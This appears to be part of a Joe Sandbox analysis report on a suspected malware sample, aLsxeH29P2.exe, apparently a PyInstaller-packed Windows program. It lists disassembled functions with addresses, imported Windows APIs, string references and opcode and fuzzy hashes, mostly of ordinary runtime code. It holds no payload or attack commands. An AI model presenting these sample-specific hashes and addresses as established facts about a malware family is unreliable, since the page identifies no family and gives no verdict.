Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: a1c59376f93c8b4c6db0aee125681cb96c2ab9e1787ffa8cf6eb7b68f1c1c36c
Instruction ID: 6e2740a1a2cd88549ffabce37b722be6d868710c6b2f61816188a2c2771d0717
Opcode Fuzzy Hash: a1c59376f93c8b4c6db0aee125681cb96c2ab9e1787ffa8cf6eb7b68f1c1c36c
Instruction Fuzzy Hash: 5131E661619AC245EBA1AB60E4507AAF354EF84BE0F840231EE7D5F7C9DF3CD60187A0

Function 00007FF7F3DD2810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF7F3DD28EA

Strings

Error, xrefs: 00007FF7F3DD28DD
ERROR, xrefs: 00007FF7F3DD286F
[PYI-%d:%ls] , xrefs: 00007FF7F3DD2868

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction ID: 181d5bafc080ebaf6f977990e7ba27d40273d7dfe035b4a824d94cd3314f00fa
Opcode Fuzzy Hash: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction Fuzzy Hash: F521F772B08B4181E750ABA4F8807EAB364FB88780F800135EE9D6B799DF3CD245C790

Function 00007FFE126C2A50 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE126C6E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE126C29EE), ref: 00007FFE126C6E56

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C2A8E

Strings

RCC, xrefs: 00007FFE126C2A60
MOC, xrefs: 00007FFE126C2A68
csm, xrefs: 00007FFE126C2A70

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: abortterminate
String ID: MOC$RCC$csm
API String ID: 661698970-2671469338
Opcode ID: 3ab94ae7472f91afbfb2fa40e8eaefdcfa6935c471aaf11af4776549d32657f7
Instruction ID: a77f73950e9d916e38c6b61b665b6a4033627113c02cbe5c63ee2de6f65965b2
Opcode Fuzzy Hash: 3ab94ae7472f91afbfb2fa40e8eaefdcfa6935c471aaf11af4776549d32657f7
Instruction Fuzzy Hash: 3FF04432918A07C5E7647BA2E98107D3664EF8C764F9550B1DB4C062E1CFBCE8B0CB41

Function 00007FF7F3DEC5A0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7F3DEC61F
WriteFile.KERNEL32 ref: 00007FF7F3DEC8E7
WriteFile.KERNEL32 ref: 00007FF7F3DEC92D
GetLastError.KERNEL32 ref: 00007FF7F3DEC9E3

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction ID: 775f15d9a27788961b64ada9be7e35c628ec14bbc8d5159decfb8c744f359ed0
Opcode Fuzzy Hash: 04e310725d937c0b27e7ac1e6c46040fced781be2c4963351fe3137ba04acc33
Instruction Fuzzy Hash: F5D13772B08A418AE754DFB5D4402AC7BB1FB547D8B804236DE6DABBC9DE38D046C390

Function 00007FF7F3DECF60 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F3DECF4B), ref: 00007FF7F3DED07C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F3DECF4B), ref: 00007FF7F3DED107

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction ID: 5d4a17a707d31ee137a09be358ea6f9a4a5ced167c832bacbbe15f653786dc87
Opcode Fuzzy Hash: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction Fuzzy Hash: 7591C832E1865189F794AFA5944027DBFA0BB44B88F944239DE2E7B6C4CF38D486C771

Function 00007FFE126CA638 Relevance: 6.2, APIs: 4, Instructions: 193COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFE126CCDBC: DName::operator+.LIBVCRUNTIME ref: 00007FFE126CCE4D
Part of subcall function 00007FFE126CCDBC: DName::operator+.LIBVCRUNTIME ref: 00007FFE126CCE86
Part of subcall function 00007FFE126CCDBC: DName::operator+.LIBVCRUNTIME ref: 00007FFE126CD1B1

DName::operator+.LIBVCRUNTIME ref: 00007FFE126CA793
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CA7F2
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CA824
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CA834

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: cc076bc81e8f2d48ba6aefa04368e4e4f2bc5c7ef048a26b3748b4f62f7846b0
Instruction ID: 58df4238998d833a67a62b84ff6161f19082bd5e29a7d5afd04938108d32c554
Opcode Fuzzy Hash: cc076bc81e8f2d48ba6aefa04368e4e4f2bc5c7ef048a26b3748b4f62f7846b0
Instruction Fuzzy Hash: CF918E22E08E568AFB11AFA2DC543BC37B0BB04728F9540B5DA4D176E5DFBCA856C340

Function 00007FF7F3DEF98C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7F3DEFA7C
_get_daylight.LIBCMT ref: 00007FF7F3DEFA8D
_get_daylight.LIBCMT ref: 00007FF7F3DEFA9E
_isindst.LIBCMT ref: 00007FF7F3DEFB69

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction ID: 5944f08a2ce7b60b00be7a8ce2f2eea3813531f22c2b260dae450e9a6408ce92
Opcode Fuzzy Hash: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction Fuzzy Hash: 19515A72F0461186FB58EFA489512BCBB69BF40358F910335DD3E6AAE4DF38A442C790

Function 00007FF7F3DE577C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF7F3DE57AF
GetFileInformationByHandle.KERNEL32 ref: 00007FF7F3DE5811
GetLastError.KERNEL32 ref: 00007FF7F3DE58A2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F3DE56B4), ref: 00007FF7F3DE58EE

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction ID: 6e00a30a326d8c7af9a40158f2af195df77ab4b489ee80222aa1e68177a140d6
Opcode Fuzzy Hash: 601044899bb77d1db34704472f686b9691880a3163deed0eb7e9945e8072c835
Instruction Fuzzy Hash: 8751B562E0464986F794EFB0D4903BD7BA2AB48B98F504634DE1D6F7C9DF38D48083A1

Function 00007FFE126CD274 Relevance: 6.1, APIs: 4, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFE126CED94: Replicator::operator[].LIBVCRUNTIME ref: 00007FFE126CEDEE

Part of subcall function 00007FFE126CCDBC: DName::operator+.LIBVCRUNTIME ref: 00007FFE126CCE4D
Part of subcall function 00007FFE126CCDBC: DName::operator+.LIBVCRUNTIME ref: 00007FFE126CCE86
Part of subcall function 00007FFE126CCDBC: DName::operator+.LIBVCRUNTIME ref: 00007FFE126CD1B1

DName::operator+.LIBVCRUNTIME ref: 00007FFE126CD2F4
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CD303
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CD380
DName::operator+.LIBVCRUNTIME ref: 00007FFE126CD38F

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: Name::operator+$Replicator::operator[]
String ID:
API String ID: 3863519203-0
Opcode ID: 57265f9aaea93611d8ae4b0edf9f43af56394ecd72ecd9aef4b3b93798ee479d
Instruction ID: 5b255d9fe7c8c01acc88596d5ba646c5375727552f437b2e603ffe475e38597f
Opcode Fuzzy Hash: 57265f9aaea93611d8ae4b0edf9f43af56394ecd72ecd9aef4b3b93798ee479d
Instruction Fuzzy Hash: 17418772A08B8589EB01DFA6DC403AC37A0FB59B68F948075CA8C577A9DFBCD451C350

Function 00007FF7F3DDD010 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7F3DDD03C
GetCurrentThreadId.KERNEL32 ref: 00007FF7F3DDD04A
GetCurrentProcessId.KERNEL32 ref: 00007FF7F3DDD056
QueryPerformanceCounter.KERNEL32 ref: 00007FF7F3DDD066

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction ID: 8f1adda0f54d874580e69400943d2f0805d526555979edf3dc9f5d6e720c79c3
Opcode Fuzzy Hash: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction Fuzzy Hash: FD118F22B14F0589EB409B70E8442B873A0FB48718F440E31DE7D5A7A4DF38D1548390

Function 00007FFE126D09FC Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFE126D0A28
GetCurrentThreadId.KERNEL32 ref: 00007FFE126D0A36
GetCurrentProcessId.KERNEL32 ref: 00007FFE126D0A42
QueryPerformanceCounter.KERNEL32 ref: 00007FFE126D0A52

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 74344bb322e65ea4bb1ed5ded81f371800f489492d84809563666ba838173471
Instruction ID: cf9270728fd90f8415c24b51d9e20ec016e423ea9cc7f9961a336c301c346810
Opcode Fuzzy Hash: 74344bb322e65ea4bb1ed5ded81f371800f489492d84809563666ba838173471
Instruction Fuzzy Hash: EA113022B14F498AEB00CF61EC542B833A4FB59768F840E31DAAD467A4DFBCD1698340

Function 00007FFE126CF670 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

_IsNonwritableInCurrentImage.LIBCMT ref: 00007FFE126CF732
RtlUnwindEx.KERNEL32(?,?,?,?,?,?,?,00007FFE126CF435), ref: 00007FFE126CF78C

Strings

csm, xrefs: 00007FFE126CF719

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind
String ID: csm
API String ID: 451473138-1018135373
Opcode ID: 88d75f8372be57577a220e465c4aa8d65e851ebfefcdd899ecde71752cd89d28
Instruction ID: e5c2e8b48e27b2ad6a54794ce335214e4db24cc07864160f87f4506544986025
Opcode Fuzzy Hash: 88d75f8372be57577a220e465c4aa8d65e851ebfefcdd899ecde71752cd89d28
Instruction Fuzzy Hash: BF51C631B1AA018BEB14EB17E84467C37A1EB44BA4F918176DA5D437E8DFBCE461C700

Function 00007FF7F3DF5B1C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F3DF1760: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF1793

_get_daylight.LIBCMT ref: 00007FF7F3DF5C34
_get_daylight.LIBCMT ref: 00007FF7F3DF5C45

Strings

?, xrefs: 00007FF7F3DF5BC5

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 34aa9ba053483d92f686c00bb3d23c2ed0895a5cb55bf09a4ef316522e0c30cf
Instruction ID: e631e8a3715736c6f5d76e77ee77043f82bce6492aff23112b9f03a0e201ed71
Opcode Fuzzy Hash: 34aa9ba053483d92f686c00bb3d23c2ed0895a5cb55bf09a4ef316522e0c30cf
Instruction Fuzzy Hash: 7F416C12A0828641FBA5ABB5E48137AE752EB80BA4F944234EE7D1FBDDDF3CD4418750

Function 00007FFE126C4E40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE126C6E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFE126C29EE), ref: 00007FFE126C6E56

_CreateFrameInfo.LIBVCRUNTIME ref: 00007FFE126C4F16
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFE126C4F74

Strings

csm, xrefs: 00007FFE126C501A

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: abort$CreateFrameInfo
String ID: csm
API String ID: 2697087660-1018135373
Opcode ID: a8b8ee24cb783e7d293a6e1db454b28b1bfc46eb23a73e5049af87221528bbc6
Instruction ID: c1a687b03b5cad8fc8c10cc0231ef1d31a8ab48e757fcd427d423b5c74aeb214
Opcode Fuzzy Hash: a8b8ee24cb783e7d293a6e1db454b28b1bfc46eb23a73e5049af87221528bbc6
Instruction Fuzzy Hash: 98514173618B4187D620EB26E84026E77A4F789BA0F540175DB8D47BA5CF7CE461CB40

Function 00007FF7F3DE9014 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DE9046

Part of subcall function 00007FF7F3DEA948: HeapFree.KERNEL32(?,?,?,00007FF7F3DF2D22,?,?,?,00007FF7F3DF2D5F,?,?,00000000,00007FF7F3DF3225,?,?,?,00007FF7F3DF3157), ref: 00007FF7F3DEA95E
Part of subcall function 00007FF7F3DEA948: GetLastError.KERNEL32(?,?,?,00007FF7F3DF2D22,?,?,?,00007FF7F3DF2D5F,?,?,00000000,00007FF7F3DF3225,?,?,?,00007FF7F3DF3157), ref: 00007FF7F3DEA968

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF7F3DDCBA5), ref: 00007FF7F3DE9064

Strings

C:\Users\user\Desktop\aLsxeH29P2.exe, xrefs: 00007FF7F3DE9052

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\aLsxeH29P2.exe
API String ID: 3580290477-2540427151
Opcode ID: 652ac8178d02f9bf502bb0dac840cc2c27021cfa98e1c84195502d2d1921a3a9
Instruction ID: 27b25f9dbd441c33745a9c0feb227a98c74d311c106aa003961c805ad241f776
Opcode Fuzzy Hash: 652ac8178d02f9bf502bb0dac840cc2c27021cfa98e1c84195502d2d1921a3a9
Instruction Fuzzy Hash: C341A336A0970285EB98FF61D8400BDABA4EF447D4BC54135E95E6BBC5CE3CD4C583A1

Function 00007FF7F3DECC38 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7F3DECD4F
GetLastError.KERNEL32 ref: 00007FF7F3DECD71

Strings

U, xrefs: 00007FF7F3DECCFB

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000001.00000002.2974750102.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974787730.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974807992.00007FF7F3E11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2974838238.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction ID: f4e0e9902a76f38140237504885feb8d14ae327b78fb0be1741b61b015dfc653
Opcode Fuzzy Hash: 4f5d94246872f2193e537bc66f33c90add5f7e97f4787e66017fcfb3b1ebd6d4
Instruction Fuzzy Hash: CD41C572B18A4181DBA0AFA5E4443B9BBA0FB88BC4F804131EE5D9B798DF3CD441C790

Function 00007FFE126CA524 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFE126CA622

Strings

void, xrefs: 00007FFE126CA584
void , xrefs: 00007FFE126CA5AC

Memory Dump Source

Source File: 00000001.00000002.2975634958.00007FFE126C1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE126C0000, based on PE: true

Associated: 00000001.00000002.2975620067.00007FFE126C0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975654013.00007FFE126D3000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975669074.00007FFE126D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2975683450.00007FFE126D9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe126c0000_aLsxeH29P2.jbxd

Similarity

API ID: Name::operator+
String ID: void$void
API String ID: 2943138195-3746155364
Opcode ID: d81aed41cb4c8c5c69bd061dfd49733f36ea67ee8bb27e73bf8cb873ba0293ca
Instruction ID: 32f1b8d8b62637281351eaa9ba08d221c1a4022e68fedc1374a0385c1eb4996c
Opcode Fuzzy Hash: d81aed41cb4c8c5c69bd061dfd49733f36ea67ee8bb27e73bf8cb873ba0293ca
Instruction Fuzzy Hash: A0314762E18A598DFB01AFA6EC400FC37B0BB48758B944176DA8E52BA8DF7C9554C700

Function 00007FF7F3DEF5B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF7F3DEF5F8
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7F3DEF64A

Strings

:, xrefs: 00007FF7F3DEF60E

Memory Dump Source

Source File: 00000001.00000002.2974763990.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

